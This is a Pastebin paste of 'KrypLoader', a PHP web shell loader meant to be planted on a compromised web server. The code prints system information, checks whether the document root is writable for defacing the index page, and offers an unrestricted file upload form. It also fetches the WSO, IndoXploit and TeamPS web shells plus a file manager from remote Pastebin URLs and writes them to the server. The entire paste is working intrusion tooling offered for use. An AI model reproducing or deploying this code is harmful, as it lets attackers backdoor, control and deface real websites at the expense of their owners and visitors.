phnxhxr

Untitled

Nov 5th, 2019
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.69 KB | None | 0 0
  1. <?php
  2. /**
  3. * KrypLoader
  4. *
  5. * @author Krypton
  6. * @copyright Copyright (c) 2016
  7. *
  8. */
  9. ?>
  10.  
  11. <!-- BEGIN Style -->
  12. <link rel="stylesheet" type="text/css" href="http://law.rmu.ac.th/upload/files/style.css">
  13. <!-- END Style -->
  14.  
  15. <center><h1>KrypLoader</h1>Jannine Weigel &trade;</center>
  16. <?php
  17. error_reporting(0);
  18.  
  19. //check if writeable
  20. echo "
  21. <table>
  22. <tr>
  23. <td><b>USER </td><td>:</td></b></td><td>".php_uname()."</td>";
  24. $thisdir = $_SERVER['DOCUMENT_ROOT'];
  25. if (is_writable($thisdir)) {
  26. echo '<tr><td><b>Writeable Root Server</td> <td>:</td><td><font color="green" size="+1">'.$thisdir.' Is Root Server Writeable (U&#8217;re Can Deface Index)</font>'."</b></td></tr>";
  27. } else {
  28. echo '<b><font color="red" size="+1">The file is not writable</font></b><br>';
  29. echo '</table>';
  30. }
  31. if(isset($_POST['Submit'])){
  32. $filedir = "";
  33.  
  34. $file_name = $_FILES['image']['name'];
  35. $temporari = $_FILES['image']['tmp_name'];
  36. if (isset($_FILES['image']['name'])) {
  37. $abod = $filedir.$file_name;
  38. @move_uploaded_file($temporari, $abod);
  39.  
  40. echo"<center><b><font color=green>Uploaded -> $file_name</b></center></font>";
  41. }
  42. }
  43. else{
  44. echo'
  45. <center><font size="+2"><b>&#8595;Load Shell &#8595;</b></font>
  46. <ul>
  47. <li class="inline"><a href="?kr=fm">
  48.  
  49. <section>
  50. <button id="js-trigger-overlay" type="button">Simple Filemanager</button>
  51. </section></a>
  52.  
  53. </li>
  54.  
  55. <li class="inline"><a href="?kr=wso">
  56.  
  57. <section>
  58. <button id="js-trigger-overlay" type="button">WSO</button>
  59. </section></a>
  60.  
  61. </li>
  62.  
  63. <li class="inline"><a href="?kr=idx">
  64. <section>
  65. <button id="js-trigger-overlay" type="button">IndoXploit Shell</button>
  66.  
  67. </section></a>
  68. </li>
  69.  
  70. <li class="inline"><a href="?kr=teamps">
  71. <section>
  72. <button id="js-trigger-overlay" type="button">TeamPS Shell</button>
  73. </section></a>
  74. </li>
  75.  
  76.  
  77. </ul>
  78. <table border="1">
  79.  
  80. <form method="POST" action="" enctype="multipart/form-data">
  81. <tr>
  82. <td>
  83. <input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>
  84. </td>
  85. </tr>
  86.  
  87. </table>
  88. ';
  89. }
  90. echo '<b><h2>Listing Data</h2></b>';
  91.  
  92. //Scandir Func
  93. $a = getcwd();
  94. $scan = scandir($a);
  95.  
  96. foreach($scan as $file)
  97. {
  98. if (!is_dir($file))
  99. {
  100. echo "<ul><li>".$file."</li>";
  101. echo '</ul>';
  102. }
  103. }
  104.  
  105. //Auto Upload Func
  106. //----------------------------------BEGIN FUNC SHELL AUTO UPLOAD----------------------------------
  107. //simple file manager upload
  108. if($_GET['kr'] == "fm") {
  109. $sind = file_get_contents("http://pastebin.com/raw/C5FvGQCH");
  110. $fp = fopen(getcwd() . "/sind.php","wb");
  111. fwrite($fp,$sind);
  112. $file = fclose($fp);
  113.  
  114. echo '<script>alert("sind.php created !");</script><a href="sind.php">Shell Disini</a>';
  115. }
  116.  
  117. //WSO Shell upload
  118. if($_GET['kr'] == "wso") {
  119. $sind = file_get_contents("http://pastebin.com/raw/nXApJmsq");
  120. $fp = fopen(getcwd() . "/wso.php","wb");
  121. fwrite($fp,$sind);
  122. fclose($fp);
  123. echo '<script>alert("wso.php created !");</script><a href="wso.php">Shell Disini</a>';
  124.  
  125. }
  126.  
  127. //IDX Shell upload
  128. if($_GET['kr'] == "idx") {
  129. $sind = file_get_contents("http://pastebin.com/raw/nC6pWh5a");
  130. $fp = fopen(getcwd() . "/idx.php","wb");
  131. fwrite($fp,$sind);
  132. fclose($fp);
  133. echo '<script>alert("idx.php created !");</script><a href="idx.php">Shell Disini</a>Default Pass:IndoXploit';
  134.  
  135. }
  136.  
  137. //TeamPS Shell upload
  138. if($_GET['kr'] == "teamps") {
  139. $sind = file_get_contents("http://pastebin.com/raw/urDKD1Fg");
  140. $fp = fopen(getcwd() . "/teamps.php","wb");
  141. fwrite($fp,$sind);
  142. fclose($fp);
  143. echo '<script>alert("teamps.php created !");</script><a href="teamps.php">Shell Disini</a>';
  144.  
  145. }
  146.  
  147. //----------------------------------END FUNC SHELL AUTO UPLOAD----------------------------------
  148.  
  149. ?>
Add Comment
Please, Sign In to add comment